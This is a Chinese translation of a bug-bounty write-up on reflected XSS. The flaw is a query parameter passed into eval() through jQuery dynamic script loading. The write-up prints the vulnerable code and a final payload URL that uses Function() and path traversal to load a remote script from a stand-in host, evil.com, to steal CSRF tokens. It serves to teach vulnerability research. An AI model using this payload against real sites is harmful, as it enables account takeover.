[翻译] 通过不安全的动态加载获得获得反射 XSS(结尾有抽奖)

百家 作者:Chamd5安全团队 2021-07-14 11:09:59

停止! 在阅读本文之前,我鼓励您亲自尝试这个 XSS 挑战。我已将漏洞的核心元素合并到一个简单的静态页面中:https://d11dkd80d59ds1.cloudfront.net/ 。虽然本文将引导您完成完整的漏洞利用,但我想警告您,它比典型的注入漏洞复杂得多,因此如果您花时间自己尝试,该解决方案可能更有意义。

最近在 Bugcrowd 上寻找一个私有项目时,我发现用户的电子邮件地址和安全问题都可以在没有密码验证或任何其他安全检查的情况下进行修改。这种组合将允许攻击者成功进行帐户接管;然而,我需要提交一个远程漏洞利用来证明其合理性。

对于一些新接触或不熟悉漏洞赏金项目的人(说明一下),漏洞本身并不会被接受。在这种情况下,我发现 P5 缺少密码确认 - 更改电子邮件地址[1]。P5 是最低的严重级别(P1 是最高的),并且通常不会获得赏金。要真正展示(漏洞的)影响,您需要一个有效的、重要的远程漏洞利用,但就目前而言,攻击者需要物理访问受害者的机器,这通常会导致可怕的 Won't Fix (不修复,软件测试中的缺陷的解决状态) 。

好消息是漏洞利用链通常总是在范围内(至少在显示影响所需的范围内),因此我距离收到赏金那日之间的唯一问题是子域接管或跨站脚本攻击漏洞(XSS)。

新希望

我花了几个小时浏览网站,寻找任何可能的 XSS,但几乎要放弃了。我已经测试了 Burp 专业版的 Issue Active 标记的每一项,并且开始手动查看每个页面上的源代码,然后发现一些奇怪的东西 —— var isDebug = getQuerystring(‘debug’, ‘false’); 位于靠近 index.html 顶部的脚本块中。getQueryString() 函数非常简单——实际上它在 Stack Overflow 上经常被引用(当时我完全不知道)—— 并且提供了一个简单的影响 DOM的机会,尽管不是以立即可进行漏洞利用的方式。
var isDebug = getQuerystring("debug""false");

function getQuerystring(key, default_{
    if (default_ == null) default_ = "";
    key = key.replace(/[\[]/"\\\[").replace(/[\]]/"\\\]");
    var regex = new RegExp("[\\?&]" + key + "=([^&#]*)");
    var qs = regex.exec(window.location.href);
    if (qs == null)
        return default_;
    else
        return decodeURIComponent(qs[1]);
}
此函数的基本要点是,如果存在(在本例中为debug),它将从 URL 的查询字符串中返回特定参数,否则将返回函数调用中提供的 default_ 值(在本例中为 false)—— 这意味着攻击者可以通过提供查询参数来影响返回值。搜索我的 Burp History,我发现在几个页面上使用了相同的功能,但通常返回了正常结果。也就是说,直到我发现一个以特殊方式使用返回值的页面。

深挖

ViewGadgets.html 是唯一使用 getQueryString() 函数且参数不是 debug 的页面。此外,结果的值被传递到其他几个函数中,这些函数似乎动态加载了几个 JavaScript 文件中的一个。在这一点上,我开始认为有一半的几率可以找到利用漏洞的办法,我迅速将源代码的相关部分复制到本地 HTML 文件中,以便进行进一步测试。从我观察到的入口点开始:
$(document).ready(function({
    init();
});

function init({
    ...
    var gadgetFileName = getQuerystring(‘gadgetFileName’);
    loadGadget(gadgetFileName);
}

使用本地的源代码副本,我使用查询参数 ?gadgetFileName=test 加载页面并开始调试脚本以了解完整流程。

使用调试器和断点来理解脚本执行

分解一下,init() 函数包括对 var gadgetFileName = getQuerystring(‘gadgetFileName’); 的调用,它解析名为 gadgetFileName 的查询字符串参数。getQueryString() 函数最终返回原始查询字符串输入,该输入由攻击者控制,因此应被视为不受信任的输入并在随后进行清理。在本例中,这个未经处理的输入然后被传递给 loadGadget(),它的全部内容以及我为解释代码而编写的一些内联注释如下所示:

function loadGadget(_jsFileName{
  try {
    console.info("Load == " + "./scripts/widgets/gadgets/" + _jsFileName);
    console.info("LOADING GADGET " + _jsFileName);

    // gadgetName 现在保存的是 用户提供给查询参数 gadgetFileName 的值
    gadgetName = _jsFileName;

    $("#Container").show(); // 不相关

    // 加载在参数中提供的 JS 脚本
    $.getScript("./scripts/widgets/gadgets/" + _jsFileName)
      .done(function(script, textStatus{
        // 从用户提供的输入中去除最后 3 个字符 - 即将 file.js 转换为文件。 
        // 这用于在新加载的文件中实例化动态对象。 
        // 如果要加载的文件是 widgetsSummary.js,则 objectName 的值为 widgetsSummary,widgetsSummary.js 将包含函数 widgetsSummary() {...}
        var objectName = _jsFileName.substring(0, (_jsFileName.length - 3))

        try {
          // 这就是它变得危险的地方 - 到目前为止,我控制了存储在 gadget 中的值,
          // 并且可以有效地注入任何值来完成 eval 语句。
          gadget = eval("new " + objectName + "()");
          // 除了这一点之外,没有什么重要的,因为 eval 语句已经危害受害者了
          gadget.init("Container"0);

          console.info('getScript', gadget);
        } catch (err) {
          console.error("Exception in creating dynamic object [" + objectName + "]");
        }
      })
      .fail(function({
        console.error('unable to load script', _jsFileName);
      })
  } catch (err) {
    console.error("Can't load this template ./scripts/widgets/gadgets/" + _jsFileName);
  }
};

(代码vuln.js在github上的地址:https://gist.githubusercontent.com/gregaai/6a2ec57c8fded058224fbed46ca9bdba/raw/9e876c35cd1c7cc2ba2958584c63d6088577feab/vuln.js)

在较高层次,查询字符串值存储在 _jsFileNamegadgetName 变量中。该脚本尝试使用相对路径 ./scripts/widgets/gadgets/<query parameter> 加载额外的本地脚本,然后通过使用 eval() 从结果导入并实例化一个新对象。例如,如果查询参数是 ?gadgetFileName=gadget.js ,则此代码块将加载 ./scripts/widgets/gadgets/gadget.js 并使用 eval(“new gadget()”) 实例化 gadget 类型的新对象。无论如何,接下来的目的 - 让我们看看如何滥用它。

在看到查询参数最终被传递到 eval() 语句后,我开始寻找触发弹窗的方法。对于那些不是 JavaScript 开发人员的人解释一下,eval() 是一个内置函数,用于“执行表示为字符串的 JavaScript 代码”[2]。例如,传递诸如 eval(“alert(document.domain)”) 之类的字符串,将导致在包含网站域名的弹窗弹出。它的最初目的是允许动态代码生成——在本例中,根据用户的操作加载特定的 JavaScript 文件,但通常应该格外小心。

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

通过对代码的理解,现在的目标是构造一个参数值,该值可以在多次转换中幸存并通过 eval() 函数执行。作为一个额外的挑战,我们必须提供一个值,以便 $.getScript 成功加载合法文件,确保代码进入 .done 块,但我们还必须使用附加到我们注入数据中的 new 操作——这意味着我们注入的对象必须是“创建用户定义的对象类型或是具有构造函数的内置对象类型之一”[3]。

最终Exp

注意:我不建议将此payload添加到您的列表中 —— 它非常特定于该网站。相反,在您的 bug bounty 中使用上述的思路。

解释我为发现可能的注入所做的所有尝试需要几篇文章。简短版本是我使用网站脚本的本地副本进行的测试,大量地使用了调试器,并根据需要修改了代码,主要是删除 try/catch 语句,以便我可以更好地理解发生的异常。

最终有效的恶意payload是 https://www.example.com/?gadgetFileName=Function(%27%24.getScript(%22https%3a%2f%2fevil.com%2fexploit.js%22)%27)()%2f/../../../../../widgetsSummary.js ,它使我能够加载托管在 https://evil.com/exploit.js 的外部 JavaScript 文件。

分解每部分

为了便于解释,我将payload插入到代码中,因为它会被执行:
function loadGadget(_jsFileName{
  try {
    $.getScript("./scripts/widgets/gadgets/Function('$.getScript("https://evil.com/exploit.js")')()//../../../../../widgetsSummary.js")
      .done(function(script, textStatus{

        try {
          gadget = eval("new Function('$.getScript("https://evil.com/exploit.js")')()//../../../../../widgetsSummary.js");          
        } catch (err) {
          console.error("Exception in creating dynamic object [" + objectName + "]");
        }
      })
      .fail(function({
        console.error('unable to load script', _jsFileName);
      })
  } catch (err) {
    console.error("Can't load this template ./scripts/widgets/gadgets/" + _jsFileName);
  }
};

(FinalPayload.js托管在github上:https://gist.githubusercontent.com/gregaai/c4d01f752a1c6f7d3683218a7d230ebd/raw/e83617d5aa808b25ac86c7d31b094597a4cc7105/FinalPayload.js)

  1. eval() 一样,new Function() 允许我们传递一个将作为代码执行的字符串。附加第二组小括号,例如 new Function()() 使函数自调用,这意味着它在声明后立即执行。

  2. '$.getScript("https://evil.com/exploit.js")' 是传递给 new Function() 的字符串,它使用 jQuery 加载远程脚本。这是恶意部分,像一个弹窗一样简单。

  3. JavaScript 注释 // 用于避免其余部分 ../../../../../widgetsSummary.js 在注入的 new Function() 的上下文中出现语法错误。

  4. 最后,设置路径遍历和文件名,确保 loadGadgets() 中调用 $.getScript(“./scripts/widgets/gadgets/” + _jsFileName) 成功,并使代码成功执行到 (.done) 代码块。找到正确数量的 ../ 以遍历 gadgets 目录的核心主要是反复测试,这根据payload而有所不同。幸运的是,这部分可以在开发者控制台的网络连接选项卡中观察到。widgetsSummary.js 文件在页面上的单独函数中被引用,并被确认为合法且可访问的文件。

结果

将远程的、攻击者控制的 JavaScript 文件注入页面的能力开辟了无限的可能。在这种情况下,我成功演示了一个概念证明,它可以捕获 CSRF 令牌并更新受害者的电子邮件和安全问题。它尽管可能导致帐户接管,但确实需要受害者交互——访问攻击者制作的链接——故而被归类为 P2,这是对 “P5 缺少密码确认:更改电子邮件地址” 的重大改进。

[1] Bugcrowd. Bugcrowd’s Vulnerability Rating Taxonomy  https://bugcrowd.com/vulnerability-rating-taxonomy
[2] MDN Web Docs. eval()  https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
[3] MDN Web Docs. new operator  https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new

原文地址:https://infosecwriteups.com/reflected-xss-through-insecure-dynamic-loading-dbf4d33611e0

如有错误,敬请指正。

抽奖活动

1. 必须在2021年7月14号以前关注ChaMd5微信公众号。

2. 必须将文章分享到朋友圈,且无分组,兑奖需要截图。

3. 扫描下方小程序二维码开始抽奖。

4. 自动开奖日期为2021-07-16 12:00,具体奖品看小程序。

5. 补天繁星奖,友爱的小伙伴们帮忙投下票,谢谢^ω^


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接